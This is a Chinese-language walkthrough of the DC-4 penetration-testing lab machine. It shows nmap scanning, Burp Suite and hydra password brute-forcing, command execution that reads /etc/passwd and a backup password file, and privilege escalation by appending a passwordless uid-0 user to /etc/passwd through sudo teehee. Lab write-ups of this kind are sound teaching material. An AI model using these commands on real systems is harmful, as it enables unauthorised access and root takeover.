一:环境准备
下载:点我
下载之后完成安装,过程详情请参考,063 渗透测试实战,靶机 DC-1
需要抓包软件bp,文件的下载安装可以参考我的 前面的内容 :047 Burp Suite的详细安装与使用
打开DC-4,建议把虚拟机升级到15.5.7,我之前的虚拟机做这个dc靶机实验的时候经常电脑蓝屏。
二:nmap扫描
扫描主机
cd /root/tmp/DC-4
nmap -sP 192.168.100.0/24 -oN nmap.sP
扫描端口号
nmap -A 192.168.100.3 -p 1-65535 -oN nmap.A
发现开放了22和80端口
浏览器访问
三:burpsuite
由页面中,admin information systems login我们猜测账号可能是admin
所以,我们先假设账号就是admin,用burpsuite进行暴力破解。
尝试用Kali上的bp,发现是普通版的,线程数只能选1,速度超级慢。。。
所以接下来需要另一台虚拟机win10,用的是专业版的bp。
win10 IP:192.168.100.6
进行bp抓包
选中内容,发送到intruder模块,然后释放包(再点击一次拦截请求)。
只对密码添加
接下来就是载入字典表。这个字典表怎么来的呢?
字典表路径如下图,把这文件转存到win10上。
设置线程数500,开始攻击
得到密码是:happy
浏览器登录成功
点击command进入,发现可以执行命令
bp抓包,然后发送到repeater模块。
其中的+号就是代表空格
既然可以输入指令,那我们输入whoami看看。。
然后输入cat /etc/passwd
发现三个用户。
都在home路径下,查看各个用户,发下在charles用户下有个有用的文件。
ls -al /home/jim
有个backups的文件夹。
ls -al /home/jim/backups
有个old-passwords.bak的文件
cat /home/jim/backups/old-passwords.bak
四:hydra爆破密码与ssh登录
复制old-passwords.bak的内容到Kali中,创建一个old-passwords.bak文件
同样再创建一个user.dic文件
hydra -L user.dic -P old-passwords.bak ssh://192.168.100.3 -vV -o hydra.ssh
爆破完成之后,得到jim的账号密码,
cat mbox
从cat mbox的内容来看,是root给jim发了一封邮件。
所以:
cd /var/mail
cat jim
得到charles的密码
ssh登录charles
ssh charles@192.168.100.3
五:提权
命令:sudo -l
告诉我们这个命令不需要root密码。
那么这个teehee
到底是什么呢? 查看帮助文档。
-a的大概意思就是,追加到给定的文件,不要覆盖。
由上图可知,把hello写入到了test.txt中。
那么我们是不是可以用echo语句追加写入内容,如下图
那么怎么利用这个teehee命令进行提权呢?
我们知道,在linux中一切皆文件,也就是说所有的内容都是以文件的形式存在的。
那么 /etc/passwd 中记录的内容也是以文件的形式存在的。
那么如果在这文件后面追加用户名和密码等内容,是不是就相当于创建了用户。
接下来就先打开passwd这个文件看看,到底是啥样的。
cat /etc/passwd
这里的文件有特定的格式。
用户名:是否有密码保护:uid:gid:全称:家目录:/bin/bash
所以:
echo "q_q::0:0::/home/qq:/bin/bash" | sudo teehee -a /etc/passwd
没有sudo为什么会被拒绝呢?这是因为(root) NOPASSWD: /usr/bin/teehee 这句话的意思是,让teehee这条命令获取管理员权限不需要管理员密码,而不是这条命令具有管理员权限。
这样我们就创建q_q用户成功。
我们Kali新建一个窗口进行登录,发现不行
我们回到刚才的窗口,用su命令,进行用户切换。